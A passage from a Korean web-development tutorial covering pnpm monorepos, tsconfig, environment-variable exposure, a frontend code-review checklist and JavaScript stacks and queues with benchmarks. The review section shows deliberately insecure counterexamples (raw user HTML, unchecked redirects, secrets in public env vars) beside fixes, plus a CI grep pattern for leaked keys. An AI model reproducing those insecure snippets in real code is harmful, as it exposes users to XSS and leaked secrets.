  typescript: ^5.9.0
// apps/web/package.json
{
  "name": "@acme/web",
  "private": true,
  "dependencies": {
    "@acme/ui": "workspace:*",
    "@acme/schema": "workspace:*",
    "react": "catalog:",
    "react-dom": "catalog:"
  }
}

// packages/schema/package.json — 빌드 없이 TS 원본을 그대로 내보내는 방식
{
  "name": "@acme/schema",
  "private": true,
  "type": "module",
  "exports": { ".": "./src/index.ts" },
  "dependencies": { "zod": "catalog:" }
}

매일 쓰는 명령

pnpm install                               # 루트에서 한 번 — 전부 연결
pnpm --filter @acme/web dev                # 앱 하나만 실행
pnpm --filter @acme/web... build           # web + 그것이 의존하는 패키지까지
pnpm -r --parallel lint                    # 전체 린트
pnpm add dayjs --filter @acme/web          # 특정 패키지에 의존성 추가
pnpm why react                             # 왜 이 버전이 들어왔나
"모듈을 찾을 수 없음" 1순위 원인 — 루트가 아닌 하위 폴더에서 npm install 을 친 경우. pnpm 워크스페이스에서는 루트에서 pnpm 만 씁니다. packageManager 필드와 corepack 으로 팀 전체의 pnpm 버전을 고정하세요.
원본 내보내기 vs 빌드된 패키지 — 위처럼 ./src/index.ts 를 내보내면 앱의 번들러가 함께 변환하므로 빌드가 필요 없습니다. 대신 Node 로 직접 실행하는 서버가 그 패키지를 쓰면 변환이 안 되므로, 그때는 tsc -b 로 빌드하는 쪽(아래 references)을 택합니다.

tsconfig — paths 는 타입 검사용, 번들러는 따로 🟡 중급

공용 설정을 상속

// packages/tsconfig/base.json
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "Bundler",
    "strict": true,
    "noUncheckedIndexedAccess": true,
    "isolatedModules": true,
    "verbatimModuleSyntax": true,
    "skipLibCheck": true,
    "jsx": "react-jsx"
  }
}

// apps/web/tsconfig.json
{
  "extends": "@acme/tsconfig/base.json",
  "compilerOptions": {
    "lib": ["ES2022", "DOM", "DOM.Iterable"],
    "types": ["vite/client"],
    "paths": { "@/*": ["./src/*"] },
    "noEmit": true
  },
  "include": ["src"]
}

paths 의 함정 · references

// paths 는 tsc 에게만 알려 줍니다 — 번들러도 같은 별칭을 알아야 실행됩니다
// vite.config.ts      npm i -D vite-tsconfig-paths
import tsconfigPaths from "vite-tsconfig-paths";
export default defineConfig({ plugins: [react(), tsconfigPaths()] });

// ❌ 공유 패키지 안에서 "@/..." 별칭 쓰기
//    packages/ui 의 "@/" 는 그것을 import 한 앱의 src 를 가리키게 됩니다
//    → 공유 패키지 내부는 상대 경로만
// 빌드가 필요한 패키지 — composite + references (tsc -b 가 순서대로 증분 빌드)
// packages/schema/tsconfig.json
{
  "extends": "@acme/tsconfig/base.json",
  "compilerOptions": {
    "composite": true, "rootDir": "src", "outDir": "dist",
    "declaration": true
  },
  "include": ["src"]
}
// apps/api/tsconfig.json
{
  "extends": "@acme/tsconfig/base.json",
  "references": [{ "path": "../../packages/schema" }]
}
타입 검사는 따로 돌립니다 — Vite · Next 는 타입을 지우기만 하고 검사하지 않습니다. CI 에 pnpm -r exec tsc --noEmit(또는 tsc -b)를 별도 단계로 두세요.
환경 변수 두 종류 — 접두사 하나가 '공개'를 뜻합니다 서버에서만 읽는 변수 번들에 박히는 변수 DATABASE_URL · SENTRY_AUTH_TOKEN VITE_API_URL · NEXT_PUBLIC_SENTRY_DSN process.env — 실행할 때 읽음 빌드할 때 문자열로 치환됨 서버 · CI 만 볼 수 있음 누구나 DevTools 로 볼 수 있음 값을 바꾸면 재시작 값을 바꾸면 재빌드 VITE_ · NEXT_PUBLIC_ 를 붙이는 순간 그 값은 공개 정보입니다 — API 키 · 비밀 토큰에는 절대 붙이지 않습니다
"프론트 .env 에 넣었으니 숨겨졌다"는 착각이 가장 흔한 유출 경로입니다 — 브라우저로 간 것은 모두 공개입니다.

실무에선 이렇게 — 환경 변수를 타입 · 검증 · 런타임 설정으로 🔴 실무

타입을 붙이고, 빠지면 시작부터 실패

// src/vite-env.d.ts
/// <reference types="vite/client" />
interface ImportMetaEnv {
  readonly VITE_API_URL: string;
  readonly VITE_SENTRY_DSN?: string;
  readonly VITE_RELEASE?: string;
}
interface ImportMeta { readonly env: ImportMetaEnv }

// src/env.ts — 앱 시작 시 한 번 검증 (오타 · 누락을 배포 직후가 아니라 부팅 때)
import { z } from "zod";
const Env = z.object({
  VITE_API_URL: z.url(),
  VITE_SENTRY_DSN: z.string().optional(),
  MODE: z.string(),
});
export const env = Env.parse(import.meta.env);
// ❌ 실제로 일어나는 사고 — 서버 환경 변수 전체를 번들에 박음
export default defineConfig({
  define: { "process.env": process.env },   // CI 의 비밀이 전부 dist 로
});

한 번 빌드해 여러 환경에 — 런타임 설정

// 빌드 시 치환은 '환경마다 다시 빌드'를 뜻합니다.
// 같은 산출물을 스테이징 → 운영으로 승격하려면 설정을 실행 시점에 읽습니다.
type RuntimeConfig = { apiUrl: string; sentryDsn?: string };

async function boot() {
  // config.json 은 빌드 산출물이 아니라 배포 환경(Nginx · CDN)이 넣어 주는 파일
  const res = await fetch("/config.json", { cache: "no-store" });
  const config = (await res.json()) as RuntimeConfig;
  initSentry(config.sentryDsn);
  createRoot(document.getElementById("root")!).render(
    <ConfigProvider value={config}><App /></ConfigProvider>,
  );
}
void boot();
# CI 마지막 단계 — 산출물에 비밀이 섞였는지 문자열 검사
if grep -rEn "sk_live_|AKIA[0-9A-Z]{16}|-----BEGIN" dist/; then
  echo "비밀로 보이는 문자열이 번들에 있습니다"; exit 1
fi
프레임워크공개 접두사 · 읽는 법
ViteVITE_ · import.meta.env
Next.jsNEXT_PUBLIC_ · 빌드 때 인라인
AstroPUBLIC_ · import.meta.env
CRA (레거시)REACT_APP_
정리 — 루트에서 pnpm · workspace:* 로 연결 · 화살표는 앱 → 패키지 한 방향. paths 를 쓰면 번들러에도 알려 주고, 타입 검사는 CI 에서 따로 돌립니다. 공개 접두사가 붙은 환경 변수는 공개 정보이고, 같은 빌드를 여러 환경에 쓰려면 런타임 설정으로 읽습니다.
PROD 13

코드 리뷰 체크리스트 — 이 탭 전체를 한 장으로

앞의 열두 섹션에서 다룬 함정은 대부분 리뷰에서 한 줄로 잡을 수 있는 모양을 하고 있습니다. 어떤 함정을 어느 단계(린트 · CI · 리뷰 · 운영)가 잡는지 정리하고, 나쁜 예 · 좋은 예를 나란히 둔 뒤 배포 직전 체크리스트로 마무리합니다.

누가 잡나 — 진할수록 그 단계가 잘 잡습니다 타입 · 린트 CI 자동 검사 리뷰어의 눈 운영 모니터링 응답 순서 레이스 — 일부 (감속 E2E) 주로 드물게 정리 안 한 effect 일부 (hooks 규칙) 일부 (MemLab) 주로 드물게 XSS · URL 스킴 일부 (no-danger) 드물게 주로 일부 (CSP 보고) 비밀이 번들에 — 주로 (dist 검사) 일부 — 번들 비대 일부 (import 제한) 주로 (size-limit) 드물게 일부 (RUM LCP) 접근성 일부 (jsx-a11y) 일부 (axe) 일부 — 시간대 · 금액 — 일부 (TZ 바꿔 테스트) 주로 — '리뷰어의 눈' 열이 진한 줄이 이 섹션의 나쁜 예 · 좋은 예입니다 자동화할 수 있는 칸은 자동화하고, 사람은 진한 칸에 집중합니다
리뷰어의 시간은 기계가 못 잡는 칸에 써야 합니다 — 들여쓰기 지적은 포매터의 일입니다.

나쁜 예 · 좋은 예 — 리뷰에서 한 줄로 잡히는 모양 🟡 중급

effect 안의 fetch — 취소도 순서도 없음 (PROD 04)
useEffect(() => {
  fetch(`/api/search?q=${q}`)
    .then((r) => r.json())
    .then(setItems);
}, [q]);
키에 넣고 signal 을 넘김
const { data = [] } = useQuery({
  queryKey: ["search", q],
  queryFn: ({ signal }) => searchApi(q, signal),
  enabled: q.length >= 2,
});
오래된 값을 잡은 타이머 · 화면에 찍히는 0
useEffect(() => {
  const id = setInterval(() => setSec(sec + 1), 1000); // sec 가 0 에 고정
  return () => clearInterval(id);
}, []);

{items.length && <List items={items} />}      // 빈 배열이면 "0" 출력
함수형 업데이트 · 불리언으로 분기
useEffect(() => {
  const id = setInterval(() => setSec((s) => s + 1), 1000);
  return () => clearInterval(id);
}, []);

{items.length > 0 && <List items={items} />}
사용자 HTML · URL 을 그대로 (PROD 07)
<div dangerouslySetInnerHTML={{ __html: post.body }} />
<a href={profile.homepage}>홈페이지</a>
location.href = new URLSearchParams(location.search).get("next")!;
정화 · 허용 목록 · 같은 출처
<RichText html={post.body} />               {/* DOMPurify 내장 */}
<a href={safeUrl(profile.homepage)} rel="noopener noreferrer">홈페이지</a>
location.href = safeNext(new URLSearchParams(location.search).get("next"));
비밀 · 통째 import · 목록 key 에 인덱스
const stripe = Stripe(import.meta.env.VITE_STRIPE_SECRET_KEY); // 공개됨
import _ from "lodash";                                          // 70 KB
rows.map((r, i) => <Row key={i} row={r} />)                 // 삭제 시 입력값 꼬임
비밀은 서버 · 이름으로 import · 안정된 id
const stripe = await loadStripe(env.VITE_STRIPE_PUBLISHABLE_KEY); // 공개용 키
import { debounce } from "es-toolkit";
rows.map((r) => <Row key={r.id} row={r} />)
날짜 · 금액을 직접 조립 (PROD 11)
const due   = new Date(order.dueDate);                // "2026-03-08" → UTC 자정
const today = new Date().toISOString().slice(0, 10);  // 한국 오전엔 어제
const label = price * 1.1 + "원";                      // 13200.000000000002원
문자열 날짜 · 시간대 지정 · Intl
const due   = order.dueDate;                          // 문자열 그대로 비교 · 표시
const today = ymd.format(new Date());                 // sv-SE + Asia/Seoul
const label = krw.format(order.totalWithTax);         // 세금 계산은 서버

실무에선 이렇게 — PR 리뷰 질문표와 배포 전 체크리스트 🔴 실무

PR 을 열면 묻는 열 가지

영역질문
비동기이 응답이 늦게 오면? 두 번 누르면? 화면을 떠나면?
정리effect 에서 붙인 것(리스너 · 타이머 · 구독)을 떼는가?
에러실패 화면이 있는가? catch 로 삼킨 에러를 보고하는가?
캐시쓰기 후 어떤 쿼리 키를 무효화하는가?
입력서버도 같은 스키마로 검증하는가? 실패 시 입력값이 남는가?
보안사용자 문자열이 HTML · URL · 리다이렉트로 가는가?
비밀새 환경 변수에 공개 접두사가 붙었는가 — 공개해도 되는 값인가?
무게새 의존성의 압축 후 크기는? 첫 화면 청크에 들어가는가?
접근성키보드로 쓸 수 있나? 아이콘 버튼에 이름이 있나?
시간 · 돈날짜는 문자열인가 순간인가? 금액을 number 로 계산하는가?
코멘트는 질문으로 — "이거 틀렸어요" 보다 "검색어를 빠르게 바꾸면 이전 응답이 덮을 수 있을 것 같은데, abort 가 필요할까요?" 가 고쳐질 확률이 훨씬 높습니다. 왜와 재현 방법을 함께 적으세요.

배포 직전 체크리스트

빌드 · 품질
□ 타입 검사 · 린트 · 단위 테스트 · E2E 통과
□ size-limit 통과 — 첫 화면 JS 가 예산 안
□ dist 비밀 문자열 검사 통과 · .map 은 배포물에 없음

관측
□ Sentry 릴리스 = 이번 커밋 SHA · 소스맵 업로드 확인
□ web-vitals 수집이 새 페이지에도 붙어 있음
□ 새 기능 경로에 area · flow 태그

사용자
□ 느린 네트워크(Fast 4G) + CPU 4배 감속으로 핵심 흐름 한 번
□ Tab 키만으로 핵심 흐름 한 번 · 확대 200%
□ 빈 목록 · 에러 · 로딩 상태를 각각 눈으로 확인

되돌리기
□ 직전 버전으로 롤백하는 방법을 알고 있음 (명령 · 담당자)
□ 배포 후 30분 — Sentry 새 이슈 · RUM p75 를 지켜볼 사람
금요일 저녁 배포는 기술 문제가 아닙니다 — 위 마지막 줄, "배포 후 30분을 지켜볼 사람"이 없다면 미루는 것이 맞는 판단입니다.
정리 — 기계가 잡을 수 있는 것(타입 · 린트 · size-limit · axe · dist 검사)은 CI 에 맡기고, 리뷰어는 비동기 순서 · 정리 · 보안 · 시간과 돈에 집중합니다. 그리고 모든 배포에는 지켜보는 30분과 되돌리는 방법이 함께 갑니다.
STACK · QUEUE · DEQUE · HEAP · CHANNEL · Node 24 LTS · TypeScript 5.9 · ES2025

Array 하나로
버티다가
큐에서 무너진다

자바에는 ArrayDeque, 파이썬에는 collections.deque 가 있습니다. 자바스크립트에는 표준 Deque · Queue · PriorityQueue 가 하나도 없습니다. 그래서 다들 Array 로 버티는데, 스택은 그걸로 충분하지만 큐로 shift() 를 쓰는 순간 10만 개에서 0.5초, 100만 개에서는 십 분대(추정)가 됩니다(이 PC 측정). 이 탭은 2026년 현업이 실제로 무엇을 쓰는지 — 원형 버퍼 덱과 이진 힙을 TypeScript 제네릭으로 직접 만들고, 검증된 npm 패키지를 고르는 기준, 그리고 이벤트 루프 · Promise · Streams · Worker 안에 숨어 있는 큐들까지 다룹니다. 다 읽으면 "이건 Array 로 충분" / "이건 덱을 써야 함" / "이건 채널이 필요함" 을 코드 리뷰에서 바로 짚을 수 있습니다.

12SECTIONS
Node 24LTS 기준
0표준 Deque
30+node 로 실행 확인한 예제
SQ 01

한 장 지도 — JS 에서 무엇으로 쓰나

자바스크립트의 표준 라이브러리에는 Array · Map · Set · TypedArray 정도만 있습니다. 스택은 Array 로 끝나지만, 큐 · 덱 · 우선순위 큐 · 비동기 큐는 직접 만들거나 패키지를 고르는 것이 일입니다. 먼저 상황별 정답표부터 봅니다.

무엇을 쓸까 — 위에서부터 물어 내려갑니다 (마름모가 질문) 끝에서만 넣고 끝에서만 빼나? 예 Array — push · pop · at(-1) 스택은 이것으로 끝 분할 상환 O(1) 래퍼 클래스는 선택 아니오 우선순위 순으로 꺼내나? 예 BinaryHeap (직접 · 패키지) comparator 주입 — SQ 05 push · pop O(log n) sort 반복은 O(n log n) 아니오 비어 있으면 await 로 기다리나? 예 Channel · Streams · p-limit 배압이 있는 비동기 큐 — SQ 07 for await 로 소비 AbortSignal 로 취소 아니오 다른 스레드 · 프로세스로 넘기나? 예 MessageChannel · SAB 링 Worker 사이 — SQ 06 서버끼리면 BullMQ · Kafka (NestJS s13 · 대규모 k07) 아니오 — 같은 스레드의 FIFO · 덱 요소가 수천 개를 넘을 수 있나? 예 Deque (원형 버퍼) · denque 양 끝 O(1) — SQ 04 shift() 는 큰 배열에서 O(n) 10만 개에 0.5초 이상 (실측) 아니오 (수백 개 이하) Array — push · shift 작으면 V8 이 싸게 처리 모든 갈래가 결론 상자에서 끝납니다 — 애매하면 덱을 고르세요
JS 의 기본기는 "스택 = Array, 큐 = 덱(직접 · 패키지), 우선순위 = 힙, 기다림 = 채널" 네 줄입니다.

2026 권장 vs 쓰지 말 것 🟢 기초

용도2026 권장피할 것이유
스택Array 의 push · pop · at(-1) unshift · shift 로 앞을 top 으로끝에서 넣고 빼면 분할 상환 O(1). 앞쪽은 전체를 당겨 옮깁니다
큐 (작음)Array 의 push · shift —수백 개 이하면 측정해도 차이가 거의 안 납니다
큐 (큼)원형 버퍼 Deque<T> 직접 구현 · denque · 인덱스 포인터 큐 Array.shift()큰 배열의 shift 는 매번 O(n) — SQ 03 에서 0.5초 vs 7ms 실측
덱원형 버퍼 Deque<T> · denque unshift + pop양 끝 모두 O(1) 이 되는 건 원형 버퍼뿐
우선순위 큐이진 힙 직접 구현 · @datastructures-js/priority-queue · tinyqueue 넣을 때마다 sort()sort 는 O(n log n), 힙은 O(log n)
동시성 제한 작업 큐p-limit · p-queue · fastq · 직접 createLimit Promise.all(1만 개)한꺼번에 띄우면 DB 커넥션 · 소켓 · 메모리가 터집니다
비동기 채널직접 Channel<T> · Node stream · Web Streams 폴링(setInterval 로 배열 확인)기다림은 Promise 로 — CPU 를 쓰지 않고 잠듭니다
스레드 사이MessageChannel · postMessage · SAB + Atomics 공유 객체를 락 없이 수정JS 객체는 스레드끼리 공유되지 않습니다 — 복사되거나 SAB 뿐
서버 사이BullMQ(Redis) · Kafka · SQS 메모리 큐로 재시작을 버티기프로세스가 죽으면 메모리 큐는 사라집니다 → NestJS s13 · 대규모 트래픽 k07

한눈 치트 — 이 탭에서 만드는 것들

// 스택 — 배열 그대로
const st: number[] = [];
st.push(1); st.push(2);
st.at(-1);            // 2  (peek, ES2022)
st.pop();             // 2

// 큐 · 덱 — SQ 04 의 원형 버퍼
const q = new Deque<string>();
q.pushBack("a"); q.pushFront("z");
q.popFront();         // "z"

// 우선순위 큐 — SQ 05 의 이진 힙
const pq = new BinaryHeap<Job>((a, b) => a.pri - b.pri);
pq.push(job); pq.pop();

// 비동기 — SQ 07
const limit = createLimit(4);          // 동시에 4개만
await Promise.all(urls.map((u) => limit(() => fetch(u))));

const ch = new Channel<Event>(100);    // 100칸 넘으면 send 가 기다림
for await (const ev of ch) handle(ev);

왜 표준에 Deque 가 없나

자바스크립트 표준(ECMAScript)은 언어 자체만 정하고, 자료구조 라이브러리는 아주 작게 유지해 왔습니다. Array 에 shift · unshift 가 이미 있어서 "큐도 되는 것처럼" 보였던 것도 한몫했습니다. 2026년 현재도 TC39 에 표준 Deque · PriorityQueue 는 들어와 있지 않습니다.

그래서 생태계는 이렇게 갈렸습니다.

  • 작은 큐 — 그냥 Array. 수백 개면 차이가 없습니다.
  • 라이브러리 내부 — 직접 만든 원형 버퍼나 연결 리스트. Node 의 process.nextTick 큐도 내부(lib/internal/fixed_queue.js)에서 고정 크기 원형 버퍼를 이어 붙인 구조를 씁니다(공개 API 는 아님).
  • 앱 코드 — 검증된 패키지(denque, p-limit 등) 또는 이 탭 같은 100줄짜리 직접 구현.
분산 큐와 헷갈리지 마세요. 이 탭의 큐는 한 프로세스의 메모리 안에 있습니다. 서버가 재시작되면 사라집니다. 주문 · 메일처럼 잃으면 안 되는 일은 Redis 기반 BullMQ 같은 바깥 큐로 — 🐈 NestJS 탭 s13 · ⚡ 대규모 트래픽 탭 k07 에서 다룹니다.
Java · Python 개발자에게 — 자바의 Stack 이 ArrayDeque 로 대체된 것처럼, JS 에서는 "Array.shift 큐"가 원형 버퍼 덱으로 대체되는 중입니다. 차이는 자바는 표준이 답을 줬고, JS 는 개발자가 직접 골라야 한다는 점입니다. 이 탭의 Deque<T> · BinaryHeap<T> 는 tsc --strict 를 통과하고 Node 24 의 타입 지우기 실행(node file.ts)으로 그대로 돕니다.
정리 — 스택은 Array, 큰 큐 · 덱은 원형 버퍼, 순서가 우선순위면 힙, 기다려야 하면 채널. "Array 로 다 된다"는 말은 스택까지만 맞습니다.
SQ 02

스택 — Array 의 끝이 top 입니다

JS 의 스택은 새 타입이 아니라 사용 규칙입니다. 끝(length - 1)을 top 으로 정하고 push · pop · at(-1) 만 쓰면 됩니다. 앞쪽을 top 으로 쓰는 순간 느려집니다.

스택 연산 다섯 번 — 색이 진한 칸이 지금의 top (배열의 마지막 칸) push("a") push("b") push("c") pop() → "c" at(-1) → "b" a a b a b c a b c 나감 a b 보기만 length 1 length 2 length 3 length 2 length 2 끝을 top 으로 쓰면 다른 칸은 한 번도 움직이지 않습니다 — 그래서 O(1) 앞을 top 으로 쓰는 unshift · shift 는 있는 칸을 전부 한 칸씩 옮깁니다 — O(n)
스택 = 배열의 끝 한 칸만 건드리는 규칙. 아래쪽 칸이 움직이지 않는 것이 성능의 전부입니다.

기본 — 배열 그대로 (실행 결과 포함)

// stack-basic.mjs — node stack-basic.mjs
const st = [];
st.push("a", "b");       // 여러 개도 한 번에
st.push("c");
console.log(st.at(-1), st.pop(), st.length);   // c c 2
//          peek(ES2022)  pop

console.log([].pop(), [].at(-1));               // undefined undefined
// ★ 빈 스택에서 예외가 안 납니다 — 자바의 EmptyStackException 같은 것 없음

// undefined 를 "값"으로 넣는 스택이면 pop() 결과가 모호합니다
const maybe = [undefined];
console.log(maybe.length > 0 ? "값이 있음" : "비었음", maybe.pop());
// 값이 있음 undefined   → 꺼내기 전에 length 로 확인하세요
at(-1) 이 ES2022 부터의 peek 입니다. 예전 코드의 st[st.length - 1] 와 같은 뜻이고, TypeScript 에서는 반환 타입이 T | undefined 라 빈 경우를 처리하라고 컴파일러가 알려 줍니다 (st[st.length-1] 은 기본 설정에서 T 로 잡혀 이 검사를 놓칩니다 — noUncheckedIndexedAccess 를 켜면 둘 다 T | undefined).

타입 래퍼 — 빈 스택 정책을 API 로

// stack.ts
export class Stack<T> implements Iterable<T> {
  #a: T[] = [];                          // # = 진짜 private (밖에서 배열을 못 건드림)
  get size() { return this.#a.length; }
  push(x: T): this { this.#a.push(x); return this; }

  /** 비었으면 던진다 — "비어 있을 리 없다"는 불변식이 있을 때 */
  pop(): T {
    if (this.#a.length === 0) throw new RangeError("pop from empty stack");
    return this.#a.pop()!;
  }
  /** 비었을 수 있으면 — 결과 객체로 (undefined 를 값으로 넣어도 안전) */
  tryPop(): { ok: true; value: T } | { ok: false } {
    return this.#a.length ? { ok: true, value: this.#a.pop()! } : { ok: false };
  }
  peek(): T | undefined { return this.#a.at(-1); }

  /** 순회는 top → bottom (꺼낼 순서와 같게) */
  *[Symbol.iterator]() {
    for (let i = this.#a.length - 1; i >= 0; i--) yield this.#a[i];
  }
}

const s = new Stack<number>().push(1).push(2).push(3);
console.log([...s]);                 // [ 3, 2, 1 ]
console.log(s.tryPop());             // { ok: true, value: 3 }
console.log(new Stack().tryPop());   // { ok: false }
try { new Stack().pop(); } catch (e) { console.log((e as Error).name); }  // RangeError

연산표 — 무엇이 O(1) 이고 무엇이 아닌가 🟢 기초

스택 연산Array 메서드시간빈 배열일 때
pusharr.push(x)분할 상환 O(1)— (새 길이를 반환)
poparr.pop()O(1)undefined · 예외 없음
peekarr.at(-1)O(1)undefined
isEmptyarr.length === 0O(1)true
비우기arr = [] 또는 arr.length = 0둘 다 빠름둘은 뜻이 다릅니다 — SQ 10
❌ 앞쪽 topunshift · shiftO(n)쓰지 마세요
여러 개 넣기arr.push(...items)O(k)items 가 약 12만 개 넘으면 RangeError (이 PC 실측)

자바 Stack 같은 "레거시"가 JS 에도 있나

JS 에는 버려진 Stack 클래스는 없지만, 버려진 관용구는 있습니다.

  • arr[arr.length - 1] → arr.at(-1) (ES2022, 의도가 바로 보임)
  • arr.unshift(x) / arr.shift() 로 앞을 top 으로 → 끝을 top 으로
  • Array.prototype.push.apply(a, b) → a.push(...b) (단, 아주 크면 아래)
  • { 0: x, 1: y, length: 2 } 같은 유사 배열 스택 → 진짜 Array (엔진 최적화가 안 붙음)
push(...big) 는 인자를 스택에 펼칩니다. 이 PC(Node 24)에서 12만 개는 됐고 13만 개부터 RangeError: Maximum call stack size exceeded 가 났습니다. 크기를 모르는 배열은 for...of 로 하나씩 넣거나 a = a.concat(b) 를 쓰세요.

재귀를 스택으로 — 깊은 트리에서 터지지 않게

type Node = { name: string; children: Node[] };

// 재귀: 깊이 1만 단계짜리 트리면 콜스택이 넘칩니다
function namesRec(n: Node, out: string[] = []): string[] {
  out.push(n.name);
  for (const c of n.children) namesRec(c, out);
  return out;
}

// 명시적 스택: 깊이와 무관 — 힙 메모리만 씁니다
function names(root: Node): string[] {
  const out: string[] = [];
  const st: Node[] = [root];
  while (st.length) {
    const n = st.pop()!;
    out.push(n.name);
    // 자식을 거꾸로 넣어야 원래 순서(왼쪽 먼저)로 나옵니다
    for (let i = n.children.length - 1; i >= 0; i--) st.push(n.children[i]);
  }
  return out;
}
JSON 파서 · 폴더 순회 · DOM 순회처럼 입력이 깊이를 정하는 코드는 명시적 스택이 안전합니다. V8 은 꼬리 호출 최적화(TCO)를 하지 않으므로 "꼬리 재귀라 괜찮다"도 JS 에선 통하지 않습니다.
정리 — JS 의 스택은 push · pop · at(-1) 세 메서드의 약속입니다. 빈 스택은 예외 대신 undefined 를 주므로, 그게 싫으면 얇은 Stack<T> 래퍼로 정책을 정하세요.
SQ 03

큐(FIFO) — shift() 의 함정과 세 가지 대안

queue.push(x) 로 넣고 queue.shift() 로 빼는 코드는 어디에나 있습니다. 작을 때는 아무 문제가 없다가 요소가 수만 개를 넘는 순간 갑자기 느려집니다. 이 PC 에서 직접 재 봤습니다.

N 개 넣고 전부 꺼내기 — 이 PC 측정 예시 (Node 24 · 로그 눈금) 0.1ms 1ms 10ms 100ms 1s 10s 100s 1000s 1만 개 shift() 2.0ms 포인터 0.3ms Deque 1.7ms 10만 개 shift() 556ms — 포인터의 240배 포인터 2.3ms Deque 7.0ms 100만 개 shift() 앞 1만 번만 17.2s · 전체 약 14분 추정 포인터 28.5ms Deque 23.6ms 눈금 한 칸이 10배입니다 — 같은 길이처럼 보여도 shift 는 자릿수가 다릅니다 점선은 끝까지 돌리지 않은 추정 구간 (꺼낼수록 짧아지므로 대략 절반 평균으로 계산)
작을 때는 다 비슷하지만 10만 개에서 shift 만 포인터 방식의 240배로 느려집니다. 수치는 이 PC 측정 예시이며 기계 · 버전마다 다릅니다.

왜 이런 절벽이 생기나

shift() 는 명세상 0번을 꺼내고 나머지를 한 칸씩 앞으로 당기는 연산입니다 — 그 자체로 O(n). 그런데 1만 개에서는 빨랐습니다. V8 이 배열의 시작 위치를 한 칸 뒤로 옮기는(left-trim) 꼼수로 복사를 피할 수 있는 경우가 있기 때문입니다.

이 꼼수가 언제 통하는지는 엔진 내부 사정(배열이 놓인 힙 영역, 크기 등)에 달려 있어 코드에서 보장받을 수 없습니다. 이 PC 에서는 1만 개 근처까지 빠르고, 1.6만 개에서 이미 8배로 뛰었습니다.

N (shift 로 전부)이 PC 측정
10,0001.6 ~ 4 ms
16,00013 ms
50,000125 ms
100,000556 ~ 842 ms
200,0003.2 s
1,000,000처음 1만 번에 17.2 s · 10만 번에 158 s
N 이 2배면 시간이 4~5배 — 전형적인 O(n²) 모양입니다. 큐는 보통 "평소 수십 개, 장애 때 수십만 개"로 쌓이므로 평시 테스트에서는 절대 안 보이고 장애 때 터집니다.

직접 재 보기 — bench-shift.mjs

// node bench-shift.mjs  (Deque 는 SQ 04 의 클래스)
function viaShift(n) {            // ① 흔한 실수
  const q = [];
  for (let i = 0; i < n; i++) q.push(i);
  let sum = 0;
  while (q.length) sum += q.shift();
  return sum;
}
function viaPointer(n) {          // ② 인덱스 포인터
  const q = []; let head = 0;
  for (let i = 0; i < n; i++) q.push(i);
  let sum = 0;
  while (head < q.length) sum += q[head++];
  return sum;
}
function viaDeque(n) {            // ③ 원형 버퍼
  const q = new Deque();
  for (let i = 0; i < n; i++) q.pushBack(i);
  let sum = 0;
  while (q.size) sum += q.popFront();
  return sum;
}
for (const n of [10_000, 100_000]) {
  for (const fn of [viaShift, viaPointer, viaDeque]) {
    fn(1000);                                 // 워밍업
    const t = performance.now();
    fn(n);
    console.log(n, fn.name, (performance.now() - t).toFixed(1) + "ms");
  }
}
// 이 PC 예시:
// 10000 viaShift 2.0ms   viaPointer 0.3ms  viaDeque 1.7ms
// 100000 viaShift 555.7ms viaPointer 2.3ms viaDeque 7.0ms

대안 ① ② — 인덱스 포인터 큐 · 두 스택 큐 🟡 중급

인덱스 포인터 + 주기적 정리

export class ArrayQueue<T> {
  #a: (T | undefined)[] = [];
  #head = 0;                                // 다음에 꺼낼 칸
  get size() { return this.#a.length - this.#head; }
  enqueue(x: T) { this.#a.push(x); }
  dequeue(): T | undefined {
    if (this.#head === this.#a.length) return undefined;
    const x = this.#a[this.#head];
    this.#a[this.#head++] = undefined;      // 참조 끊기 — 안 하면 GC 가 못 가져감
    // 앞쪽 빈칸이 절반을 넘으면 한 번 잘라 냄 → 분할 상환 O(1)
    if (this.#head > 1024 && this.#head * 2 > this.#a.length) {
      this.#a = this.#a.slice(this.#head);
      this.#head = 0;
    }
    return x;
  }
  peek() { return this.#a[this.#head]; }
}

const q = new ArrayQueue<number>();
for (let i = 0; i < 5000; i++) q.enqueue(i);
let last;
for (let i = 0; i < 4000; i++) last = q.dequeue();
console.log(last, q.size, q.peek());       // 3999 1000 4000
가장 짧은 해결책이라 BFS · 한 번 쓰고 버리는 큐에 좋습니다. 다만 뒤에서 넣고 앞에서 빼기만 됩니다(덱 아님). 정리 조건이 없으면 앞쪽 빈칸이 영원히 메모리를 잡습니다.

두 스택 큐 — in 에 쌓고 out 에서 꺼냄

export class TwoStackQueue<T> {
  #in: T[] = [];
  #out: T[] = [];
  enqueue(x: T) { this.#in.push(x); }
  dequeue(): T | undefined {
    if (this.#out.length === 0) {
      // out 이 비었을 때만 한 번에 뒤집어 옮김
      while (this.#in.length) this.#out.push(this.#in.pop()!);
    }
    return this.#out.pop();
  }
  get size() { return this.#in.length + this.#out.length; }
}

const tq = new TwoStackQueue<number>();
tq.enqueue(1); tq.enqueue(2); tq.enqueue(3);
const a = tq.dequeue();                    // 1  (이때 3,2 가 out 으로)
tq.enqueue(4);                             // in 에 들어감
console.log(a, tq.dequeue(), tq.dequeue(), tq.dequeue(), tq.dequeue());
// 1 2 3 4 undefined
각 요소는 in 에 한 번, out 으로 한 번만 옮겨지므로 분할 상환 O(1) 입니다. 단, 옮기는 순간 한 번은 O(n) 이라 지연이 튀는 것이 싫은 실시간 코드에는 원형 버퍼가 낫습니다. 함수형 · 불변 자료구조(영속 큐)의 기본 아이디어이기도 합니다.

"실패하면 예외" vs "특수값 반환" — JS 의 관례 🟢 기초

동작Java QueueJS Array · 이 탭의 클래스권장
넣기add(예외) / offer(false)push · pushBack — 실패 없음유한 큐면 tryPush(): boolean 을 따로
꺼내기remove(예외) / poll(null)shift · popFront → undefinedJS 관례는 특수값(undefined)
보기element(예외) / peek(null)[0] · peekFront → undefinedTS 반환 타입을 T | undefined 로
기다리기BlockingQueue.take없음 → await channel.receive()SQ 07 의 Channel
정리 — 큐에 shift() 를 쓰면 작을 땐 빠르고 클 땐 O(n) 입니다. 크기가 커질 수 있는 큐는 인덱스 포인터 · 두 스택 · 원형 버퍼 덱 중 하나로 — 범용으로는 다음 절의 덱이 정답입니다.
SQ 04

덱 — 원형 버퍼를 TypeScript 제네릭으로

